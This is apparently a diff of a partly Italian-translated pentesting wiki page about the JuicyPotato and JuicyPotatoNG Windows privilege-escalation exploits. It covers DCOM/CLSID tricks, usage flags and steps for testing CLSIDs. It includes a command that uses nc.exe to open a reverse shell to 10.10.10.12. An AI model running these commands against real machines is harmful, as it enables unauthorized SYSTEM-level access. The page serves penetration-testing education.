- Un SSPI hook per catturare e impersonare l'autenticazione SYSTEM in ingresso senza richiedere RpcImpersonateClient, il che abilita anche CreateProcessAsUser quando è presente solo SeAssignPrimaryTokenPrivilege.
|
||||
- Tecniche per soddisfare i vincoli di attivazione DCOM (es., il precedente requisito del gruppo INTERACTIVE quando si prende di mira le classi PrintNotify / ActiveX Installer Service).
|
||||
|
||||
Note importanti (comportamento in evoluzione tra le build):
|
||||
- September 2022: La tecnica iniziale funzionava su target Windows 10/11 e Server supportati usando la “INTERACTIVE trick”.
|
||||
Important notes (evolving behavior across builds):
|
||||
- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”.
|
||||
- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post.
|
||||
|
||||
Uso base (più flag nell'help):
|
||||
Basic usage (more flags in the help):
|
||||
```
|
||||
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
|
||||
# Useful helpers:
|
||||
@ -103,13 +103,13 @@ JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
|
||||
# -s Scan for a COM port not filtered by Windows Defender Firewall
|
||||
# -i Interactive console (only with CreateProcessAsUser)
|
||||
```
|
||||
Se stai prendendo di mira Windows 10 1809 / Server 2019 dove il classico JuicyPotato è stato patchato, preferisci le alternative collegate in alto (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, ecc.). NG può essere situazionale a seconda della build e dello stato del servizio.
|
||||
Se stai prendendo di mira Windows 10 1809 / Server 2019 dove il JuicyPotato classico è stato patchato, preferisci le alternative collegate in alto (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, ecc.). NG potrebbe essere situazionale a seconda della build e dello stato del servizio.
|
||||
|
||||
## Esempi
|
||||
|
||||
Nota: visita [this page](https://ohpe.it/juicy-potato/CLSID/) per una lista di CLSID da provare.
|
||||
Nota: Visita [this page](https://ohpe.it/juicy-potato/CLSID/) per un elenco di CLSID da provare.
|
||||
|
||||
### Ottieni una reverse shell con nc.exe
|
||||
### Ottieni una nc.exe reverse shell
|
||||
```
|
||||
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
|
||||
|
||||
@ -130,21 +130,21 @@ c:\Users\Public>
|
||||
|
||||
.png>)
|
||||
|
||||
## Problemi con i CLSID
|
||||
## Problemi con CLSID
|
||||
|
||||
Spesso il CLSID predefinito utilizzato da JuicyPotato **non funziona** e l'exploit fallisce. Di solito occorrono più tentativi per trovare un **CLSID funzionante**. Per ottenere una lista di CLSID da provare per un sistema operativo specifico, visita questa pagina:
|
||||
Spesso il CLSID predefinito che JuicyPotato usa **non funziona** e l'exploit fallisce. Di solito servono più tentativi per trovare un **CLSID funzionante**. Per ottenere una lista di CLSID da provare per un sistema operativo specifico, visita questa pagina:
|
||||
|
||||
- [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/)
|
||||
|
||||
### **Verifica dei CLSID**
|
||||
|
||||
Per prima cosa ti serviranno alcuni eseguibili oltre a juicypotato.exe.
|
||||
Per prima cosa, avrai bisogno di alcuni eseguibili oltre a juicypotato.exe.
|
||||
|
||||
Scarica [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) e caricalo nella tua sessione PS, poi scarica ed esegui [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Quello script creerà una lista di possibili CLSID da testare.
|
||||
Scarica [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) e caricalo nella tua sessione PS, quindi scarica ed esegui [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Quel script creerà una lista di possibili CLSID da testare.
|
||||
|
||||
Poi scarica [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(modifica il percorso alla lista CLSID e all'eseguibile juicypotato) ed eseguilo. Inizierà a provare ogni CLSID e **quando il numero di porta cambia, significa che il CLSID ha funzionato**.
|
||||
Poi scarica [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(cambia il percorso della lista dei CLSID e quello dell'eseguibile juicypotato) ed eseguilo. Inizierà a provare ogni CLSID e **quando il numero di porta cambierà, significa che il CLSID ha funzionato**.
|
||||
|
||||
**Controlla** i CLSID funzionanti **usando il parametro -c**
|
||||
**Verifica** i CLSID funzionanti **usando il parametro -c**
|
||||
|
||||
## Riferimenti
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user